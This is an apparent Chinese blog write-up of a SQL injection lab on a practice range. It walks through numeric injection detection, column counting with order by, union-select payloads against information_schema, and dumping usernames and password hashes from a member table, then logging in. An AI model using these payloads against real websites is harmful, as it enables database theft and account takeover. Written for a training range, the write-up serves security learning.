mysql 数值型注入_Mysql基本注入

实验环境:墨者学院Mysql手工注入漏洞测试靶场

后台源码没有进行任何字符过滤。

首先进入靶场环境

e3408f4dc27acf7f1995506df573d5b6.png

先用admin登陆试试

af793eea71e8fcc0aa6df90cd22c1518.png

果然不行,这时看到用户登录下方有一个停机维护通知,点进去瞅瞅

63f8fc7f6d305b6160213595374fdff4.png

看到这里链接上有id = 1,怀疑这里会有注入点。

判断注入点

先简单判断是不是字符型注入点,使用单引号闭合语句,注释后面的语句

?id = 1'--+

13992ab1507ed3cfc9623eff28135402.png

发现页面有异常,可能不是字符型,再试试数字型注入

?id = 1 and 1 = 1

46f6f00ab1cae26b14833181c66bb8c3.png

发现and 1 = 1没有返回异常,再进一步进行判断

?id = 1 and 1 = 2

bad9b20f052baf22949af3b1a6225f4d.png

页面出现异常,说明这里存在数字型注入点

猜解字段数

发现存在注入点之后使用order by语句判断字段的数目。

?id=1 order by 3

ea7319bbb1c8267a1fc094e89a427dea.png

先试一下是不是3列,发现没有报错,说明至少存在3列,接着猜解。

ddb905a1d11b61cef8c5ffcbe5411d64.png

尝试到5发现报错了,因为字段没有5列,使用order by时无法根据第5列排序,所以出错,由此判断字段数目是4.

联合查询

因为猜解出来的字段数是4,所以联合查询的语句应该这么写?id=1 union select 1,2,3,4,但因为这个语句是成立的,为了让页面爆出我们需要的字段,这里就需要构造一个错误的语句,让数据库报错时返回我们需要的信息。

?id=-1 union select 1,2,3,4

ac252cb5e0dfd3007bc4964e18915cb1.png

可以看到这里页面上爆出了2和3两个数字,说明2和3两个数字对应当前数据表的两个字段会回显到页面上的,这样就可以根据2,3两个回显位查询一些我们需要的信息。

常用的Mysql系统函数有:

version() #MySQL版本

user() #数据库用户名

database() #数据库名

@@datadir #数据库路径

@@version_compile_os #操作系统版本

比如查询当前的数据库名称和当前用户。

?id=-1 union select 1,database(),user(),4

338ca6dc2b92f6541ca2247d97527950.png

这样我们就成功查询到当前数据库,接着找这个数据库里的数据表。

查询数据表

补充1:数据库关键库

这里需要使用到数据库中一个重要的库information_schema,这个库下面的schemadata表中存放着所有数据库的信息,其中schema_name列中保存着所有数据库名,tables表中存放着所有数据表的信息,其中table_schema列存放着数据库名,table_name列存放着数据表名,columns表中存放着所有数据表的所有列信息,其中column_name存放着所有列名,table_name存放着表名。

补充2:concat函数的用法

1.concat(str1,str2)

将多个结果一行返回。如有任何一个参数为NULL ,则返回值为 NULL。

mysql> select 1,2,3;

+---+---+---+

| 1 | 2 | 3 |

+---+---+---+

| 1 | 2 | 3 |

+---+---+---+

1 row in set (0.00 sec)

mysql> select concat(1,2,3);

+---------------+

| concat(1,2,3) |

+---------------+

| 123 |

+---------------+

1 row in set (0.00 sec)

2.concat_ws(separator,str1,str2)

concat_ws是concat()的特殊形式。第一个参数是其它参数的分隔符,分隔符可以是一个字符串,也可以是其它参数。

mysql> select concat_ws('~',1,2,3);

+----------------------+

| concat_ws('~',1,2,3) |

+----------------------+

| 1~2~3 |

+----------------------+

1 row in set (0.00 sec)

3.group_concat完整语法如下,默认使用逗号分隔多个结果:

group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )

?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_name = database()

7eda48c4cbe5d3c8c42ec10f4c92c108.png

这样就查询到当前数据库里面有两个数据表,分别为StormGroup_member,notice。

查询列名

?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

6207cd8a62b3cc491f4ec2887358c8ba.png

查询到有这个表有四个字段id,name,password,status。

查询数据

根据上面查询到的四个字段查询数据

?id=-1 union select 1,concat_ws('~',id,name,password,status),3,4 from StormGroup_member

c2b56661efd1b9139e3fb56872fb610e.png

成功查到账号密码,不过这个密码好像是加密的,先进行解密

aea85ca0110b850ef58a887dac830f8c.png

使用这个账号密码登陆试试

e64eb57fea769231fb5f8b96b17ef78a.png

最后尴尬的一幕出现了(/哭)。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值